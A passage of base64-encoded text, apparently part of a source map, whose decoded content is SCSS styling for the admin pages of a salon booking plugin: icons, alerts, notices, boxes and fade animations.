jc1MzggOS4xNjYzMSAxNy41IDkuOTEyNSAxNy41IDEwLjgzM1YxNi42NjYzQzE3LjUgMTcuNTg2OCAxNi43NTM4IDE4LjMzMyAxNS44MzMzIDE4LjMzM0g0LjE2NjY3QzMuMjQ2MTkgMTguMzMzIDIuNSAxNy41ODY4IDIuNSAxNi42NjYzVjEwLjgzM0MyLjUgOS45MTI1IDMuMjQ2MTkgOS4xNjYzMSA0LjE2NjY3IDkuMTY2MzFaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAtd2Via2l0LW1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICB9XG4gICYuc2xuLWljb25vbmx5LW5ldyB7XG4gICAgJjo6YWZ0ZXIge1xuICAgICAgd2lkdGg6IDJyZW07XG4gICAgICBoZWlnaHQ6IDJyZW07XG4gICAgfVxuICB9XG59XG5cbi5zbG4taWNvbi0tbmV3LS1jaGVja21hcmsgIHtcbiAgJjo6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIHdpZHRoOiAxLjI1ZW07XG4gICAgaGVpZ2h0OiAxLjI1ZW07XG4gICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczNicgaGVpZ2h0PScyNicgdmlld0JveD0nMCAwIDM2IDI2JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMzQgMkwxMiAyNEwyIDE0JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczNicgaGVpZ2h0PScyNicgdmlld0JveD0nMCAwIDM2IDI2JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMzQgMkwxMiAyNEwyIDE0JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAtd2Via2l0LW1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICB9XG4gICYuc2xuLWljb25vbmx5LW5ldyB7XG4gICAgJjo6YWZ0ZXIge1xuICAgICAgd2lkdGg6IDJyZW07XG4gICAgICBoZWlnaHQ6IDJyZW07XG4gICAgfVxuICB9XG4gICYucmVtb3ZlLWhvbHlkYXlzIHtcbiAgICAmOjphZnRlciB7XG4gICAgICBjb250ZW50OiAnJztcbiAgICAgIHdpZHRoOiAxLjI1ZW07XG4gICAgICBoZWlnaHQ6IDEuMjVlbTtcbiAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMjAnIGhlaWdodD0nMjAnIHZpZXdCb3g9JzAgMCAyMCAyMCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTUuODMzMzMgOS4xNjYzMVY1LjgzMjk3QzUuODMyMjkgNC43OTk2OCA2LjIxNTIzIDMuODAyODYgNi45MDc4MSAzLjAzNjAzQzcuNjAwMzkgMi4yNjkyIDguNTUzMTkgMS43ODcwNiA5LjU4MTI1IDEuNjgzMjFDMTAuNjA5MyAxLjU3OTM3IDExLjYzOTMgMS44NjEyMyAxMi40NzEyIDIuNDc0MDdDMTMuMzAzMiAzLjA4NjkxIDEzLjg3NzcgMy45ODcwMSAxNC4wODMzIDQuOTk5NjRNNC4xNjY2NyA5LjE2NjMxSDE1LjgzMzNDMTYuNzUzOCA5LjE2NjMxIDE3LjUgOS45MTI1IDE3LjUgMTAuODMzVjE2LjY2NjNDMTcuNSAxNy41ODY4IDE2Ljc1MzggMTguMzMzIDE1LjgzMzMgMTguMzMzSDQuMTY2NjdDMy4yNDYxOSAxOC4zMzMgMi41IDE3LjU4NjggMi41IDE2LjY2NjNWMTAuODMzQzIuNSA5LjkxMjUgMy4yNDYxOSA5LjE2NjMxIDQuMTY2NjcgOS4xNjYzMVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMjAnIGhlaWdodD0nMjAnIHZpZXdCb3g9JzAgMCAyMCAyMCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTUuODMzMzMgOS4xNjYzMVY1LjgzMjk3QzUuODMyMjkgNC43OTk2OCA2LjIxNTIzIDMuODAyODYgNi45MDc4MSAzLjAzNjAzQzcuNjAwMzkgMi4yNjkyIDguNTUzMTkgMS43ODcwNiA5LjU4MTI1IDEuNjgzMjFDMTAuNjA5MyAxLjU3OTM3IDExLjYzOTMgMS44NjEyMyAxMi40NzEyIDIuNDc0MDdDMTMuMzAzMiAzLjA4NjkxIDEzLjg3NzcgMy45ODcwMSAxNC4wODMzIDQuOTk5NjRNNC4xNjY2NyA5LjE2NjMxSDE1LjgzMzNDMTYuNzUzOCA5LjE2NjMxIDE3LjUgOS45MTI1IDE3LjUgMTAuODMzVjE2LjY2NjNDMTcuNSAxNy41ODY4IDE2Ljc1MzggMTguMzMzIDE1LjgzMzMgMTguMzMzSDQuMTY2NjdDMy4yNDYxOSAxOC4zMzMgMi41IDE3LjU4NjggMi41IDE2LjY2NjNWMTAuODMzQzIuNSA5LjkxMjUgMy4yNDYxOSA5LjE2NjMxIDQuMTY2NjcgOS4xNjYzMVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgIC13ZWJraXQtbWFzay1zaXplOiBjb250YWluO1xuICAgICAgbWFzay1zaXplOiBjb250YWluO1xuICAgICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgICBtYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgfVxuICB9XG59IiwiQHVzZSBcIi4uL2FkbWluX2NvbmZpZ1wiO1xuQHVzZSBcIi4uL2NvbG9ycy1udVwiO1xuQHVzZSBcIi4uL3R5cG8tYWRtaW5cIjtcblxuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuXG5AbWl4aW4gZm9udC1pY29uLS1tKCRmb250U2l6ZTogbnVsbCkge1xuXHRmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGZvbnQtd2VpZ2h0OiA5MDA7XG5cdGxpbmUtaGVpZ2h0OiAxO1xuXHRsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuXHR0ZXh0LXRyYW5zZm9ybTogbm9uZTtcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHR3b3JkLXdyYXA6IG5vcm1hbDtcblx0ZGlyZWN0aW9uOiBsdHI7XG5cdC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcblx0LXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0Zm9udC1zaXplOiAkZm9udFNpemU7XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdH0gQGVsc2Uge1xuXHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG59XG5Aa2V5ZnJhbWVzIGZhZGVPdXQge1xuXHRmcm9tIHtcblx0XHRvcGFjaXR5OiAxO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuXHR9XG5cdDkwJSB7XG5cdFx0b3BhY2l0eTogMTtcblx0XHRwb2ludGVyLWV2ZW50czogYXV0bztcblx0fVxuXHR0byB7XG5cdFx0b3BhY2l0eTogMDtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0fVxufVxuQGtleWZyYW1lcyBmYWRlSW5PdXQge1xuXHRmcm9tIHtcblx0XHRvcGFjaXR5OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHR9XG5cdDIwJSB7XG5cdFx0b3BhY2l0eTogMTtcblx0XHRwb2ludGVyLWV2ZW50czogYXV0bztcblx0fVxuXHQ5MCUge1xuXHRcdG9wYWNpdHk6IDE7XG5cdFx0cG9pbnRlci1ldmVudHM6IGF1dG87XG5cdH1cblx0dG8ge1xuXHRcdG9wYWNpdHk6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdH1cbn1cbi8vLy8vLy8vLy8vL1xuLnNsbi1hbGVydCxcbiNzbG4tc2Fsb24gLmFsZXJ0IHtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGZsZXgtZGlyZWN0aW9uOiByb3ctcmV2ZXJzZTtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXI6IG5vbmU7XG5cdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6IDA7XG5cdCY6YWZ0ZXIge1xuXHRcdEBpbmNsdWRlIGZvbnQtaWNvbi0tbSgxLjVlbSk7XG5cdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdG1hcmdpbi1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuaWUxMSgpIHtcblx0XHRcdGZvbnQtc2l6ZTogMThweDtcblx0XHR9XG5cdH1cblx0LyogRklYIDA5MjAyMyAqL1xuXHQmLnNsbi1hbGVydC0tb2sge1xuXHRcdCY6YWZ0ZXIge1xuXHRcdFx0Y29udGVudDogXCJcXGYwMGNcIjtcblx0XHR9XG5cdH1cblxuXHQmLnNsbi1hbGVydC0td2FybmluZyB7XG5cdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfd2FybmluZztcblx0XHRmb250LXNpemU6IDEuMmVtO1xuXHRcdC8qIEZJWCAwOTIwMjMgKi9cblx0XHQmOmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6IFwiXFxmMDZhXCI7XG5cdFx0fVxuXHR9XG5cblx0Ji5zbG4tYWxlcnQtLWVycm9yIHtcblx0XHRjb2xvcjogcmVkO1xuXHRcdGZvbnQtc2l6ZTogMS4yZW07XG5cdFx0JjphZnRlciB7XG5cdFx0XHRjb250ZW50OiBcIlxcZjA2YVwiO1xuXHRcdH1cblx0fVxuXG5cdCYuc2xuLWFsZXJ0LS1vbnJlbW92ZSB7XG5cdFx0cGFkZGluZzogMi42ZW0gMWVtIDAuNmVtIDFlbTtcblx0XHRtYXJnaW46IDFlbSAwO1xuXHR9XG5cdCYuc2xuLWFsZXJ0LS1mYWRlb3V0IHtcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC03cHgpO1xuXHRcdGxlZnQ6IDA7XG5cdFx0d2lkdGg6IGZpdC1jb250ZW50O1xuXHRcdGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MnB4KTtcblx0XHRtYXJnaW46IDA7XG5cdFx0cGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDcycHgpO1xuXHRcdG9wYWNpdHk6IDA7XG5cdFx0YW5pbWF0aW9uLWR1cmF0aW9uOiAzcztcblx0XHRhbmltYXRpb24tbmFtZTogZmFkZU91dDtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR6LWluZGV4OiAyO1xuXHRcdCsgKiB7XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdH1cblx0fVxuXHQmLnNsbi1hbGVydC0tZmFkZWlub3V0IHtcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKC03cHgpO1xuXHRcdGxlZnQ6IDA7XG5cdFx0d2lkdGg6IGZpdC1jb250ZW50O1xuXHRcdGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MnB4KTtcblx0XHRtYXJnaW46IDA7XG5cdFx0cGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDcycHgpO1xuXHRcdG9wYWNpdHk6IDA7XG5cdFx0YW5pbWF0aW9uLWR1cmF0aW9uOiAyNTAwbXM7XG5cdFx0YW5pbWF0aW9uLW5hbWU6IGZhZGVJbk91dDtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR6LWluZGV4OiAyO1xuXHRcdCsgKiB7XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdH1cblx0fVxuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdH1cbn1cbi5zbG4tYm94LS1tYWluIC5zbG4tYWxlcnQuc2xuLWFsZXJ0LS1mYWRlb3V0IHtcblx0YmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcbn1cblxuLy8vLyBOVSAvLyBERUNFTUJFUiAyMDIzIC8vLy8gZm9ybS1ncm91cCBzbG4tbm90aWNlIG5vdGljZS13YXJuaW5nXG4jc2xuLXNhbG9uLS1hZG1pbiB7XG5cdC5zbG4tbm90aWNlIHtcblx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byBjYWxjKDgwJSAtIDFyZW0pIDE4JTtcblx0XHRnYXA6IDAuNXJlbTtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdG1hcmdpbi1ib3R0b206IDJyZW07XG5cdFx0cGFkZGluZzogMXJlbSAxLjVyZW0gMXJlbSAxcmVtO1xuXHRcdGJvcmRlci1yYWRpdXM6IDAuMzEyNXJlbTtcblx0XHRmb250LXNpemU6IDAuODc1cmVtO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0td2FybmluZygxKTtcblx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS10ZXh0LS1kYXJrKDEpO1xuXHRcdEBtZWRpYSAobWluLXdpZHRoOiAxMjAwcHgpIHtcblx0XHRcdHdpZHRoOiA3NSU7XG5cdFx0fVxuXHRcdEBtZWRpYSAobWluLXdpZHRoOiAxODAwcHgpIHtcblx0XHRcdHdpZHRoOiA1MCU7XG5cdFx0fVxuXHRcdC5zbG4tbm90aWNlLS1pY29uIHtcblx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0Y29udGVudDogXCJcXGYwNzFcIjtcblx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdFx0XHR6LWluZGV4OiAyMDA7XG5cdFx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGJhY2tncm91bmQtY29sb3IgMjAwbXMpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLW5vdGljZS0tY29udGVudCB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGZvbnQtd2VpZ2h0OiAzMDA7XG5cdFx0fVxuXHRcdC5zbG4tbm90aWNlLS1hY3Rpb24ge1xuXHRcdFx0Z3JpZC1jb2x1bW46IDM7XG5cdFx0XHR0ZXh0LWFsaWduOiByaWdodDtcblx0XHRcdGEge1xuXHRcdFx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdFx0XHRjb2xvcjogY3VycmVudENvbG9yO1xuXHRcdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHRcdHBhZGRpbmc6IDAuNWVtIDAuOGVtO1xuXHRcdFx0XHRib3JkZXItcmFkaXVzOiAwLjMxMjVyZW07XG5cdFx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQ7XG5cdFx0XHRcdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGJvcmRlci1jb2xvciAyMDBtcyk7XG5cdFx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRcdGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS10ZXh0LS1kYXJrKDAuNCk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cbiIsIkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcbkB1c2UgXCIuLi90eXBvLWFkbWluXCI7XG5cbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcbi5zbG4tYm94IHtcblx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0bWFyZ2luLWxlZnQ6IDA7XG5cdG1hcmdpbi1yaWdodDogMDtcblx0Zm9udC1zaXplOiB0eXBvLWFkbWluLiRmb250LXNpemUtYmFzZTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdH1cblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMzBweCkgMFxuXHRcdFx0c2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0fVxuXHQmLnNsbi1jYWxlbmRhci12aWV3IHtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHRcdCYuc2xuLWNhbGVuZGFyLXZpZXcge1xuXHRcdFx0XHRwYWRkaW5nLXRvcDogMDtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ji5zbG4tYm94LS1wYiB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0fVxuXHQmLnNsbi1ib3gtLWZsYXRib3R0b20ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cblx0cCB7XG5cdFx0QGV4dGVuZCAlZm9udC1tZWRpdW07XG5cdFx0QGV4dGVuZCAlZm9udC1jbF9zdGFuZGFyZC0tbWVkaXVtO1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuXHRcdG1hcmdpbjogMDtcblx0fVxufVxuLnNsbi1ib3gtLW1haW4ge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihiYWNrZ3JvdW5kLWNvbG9yIDI1MG1zKTtcblx0Ji5zbG4tYm94LS1pbmZvLXZpc2libGUge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfd2FybmluZy0tbGlnaHQ7XG5cdH1cblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmNsZWFyZml4KCk7XG5cdCYuc2xuLWJveC0tbWFpbi0tdHJhbnNwIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0fVxuXHQmLnNsbi1ib3gtLWhhc3BhbmVsIHtcblx0XHQuc2xuLWJveC10aXRsZS5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcztcblx0XHR9XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjYpO1xuXHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcztcblx0XHQmLnNsbi1ib3gtLWhhc3BhbmVsLS1vcGVuIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG5cdFx0XHQuc2xuLWJveC10aXRsZS5zbG4tYm94X19wYW5lbHRpdGxlIHtcblx0XHRcdFx0Zm9udC1zaXplOiAxLjA1cmVtO1xuXHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSkgcm90YXRlKDE4MGRlZyk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIGFuZCAocG9pbnRlcjogZmluZSkge1xuXHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG5cdFx0XHRcdC5zbG4tYm94LXRpdGxlLnNsbi1ib3hfX3BhbmVsdGl0bGUge1xuXHRcdFx0XHRcdGZvbnQtc2l6ZTogMS4wNXJlbTtcblx0XHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG5cdFx0XHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpIHJvdGF0ZSgxODBkZWcpO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxufVxuXG5ib2R5Om5vdCguc2Fsb25fcGFnZV9zYWxvbi1zZXR0aW5ncyk6bm90KC5wb3N0LXR5cGUtc2xuX2F0dGVuZGFudClcblx0LnNsbi1ib3gtLW1haW5cblx0LnNsbi1ib3gtLWhhc3BhbmVsIHtcblx0LnNsbi1ib3hfX3BhbmVsdGl0bGUge1xuXHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTVweCk7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oLTE3cHgpO1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxN3B4KTtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0cmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHR9XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG5cdFx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oLTMwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oLTMwcHgpIDBcblx0XHRcdFx0c2V0dGluZ3MtbWl4aW5zLnJlbSgtMzBweCk7XG5cdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRyaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxN3B4KTtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Jjpub3QoLnNsbi1ib3gtLWhhc3BhbmVsLS1vcGVuKSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHQvL3BhZGRpbmc6IDA7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyLS1vcDtcblx0XHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQmLnNsbi1ib3gtLWhhc3BhbmVsLS1vcGVuIHtcblx0XHRib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHR9XG59XG4uc2xuLWJveC0tbWFpbi0tc21hbGwge1xuXHRtaW4taGVpZ2h0OiAyNjBweDtcbn1cbi5zbG4tYm94LS1zdWIge1xuXHRwYWRkaW5nLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0cGFkZGluZy1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdGJvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpIHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdCYuc2xuLWJveC0tcGF5bWVudC1tb2RlLWRhdGEge1xuXHRcdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdH1cbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm94LS1zdWIucm93IHtcblx0bWFyZ2luLXJpZ2h0OiAwO1xuXHRtYXJnaW4tbGVmdDogMDtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdG1hcmdpbi1yaWdodDogLTEwcHg7XG5cdFx0bWFyZ2luLWxlZnQ6IC0xMHB4O1xuXHR9XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG5cdFx0bWFyZ2luLXJpZ2h0OiAtMTVweDtcblx0XHRtYXJnaW4tbGVmdDogLTE1cHg7XG5cdH1cbn1cbi5zbG4tYm94X19tZWdhYnRuX3dyYXBwZXIgKyAuc2xuLWJveF9fbWVnYWJ0bl93cmFwcGVyIHtcblx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdG1hcmdpbi10b3A6IDA7XG5cdH1cbn1cbkBrZXlmcmFtZXMgc2xpZGVpbiB7XG5cdGZyb20ge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdG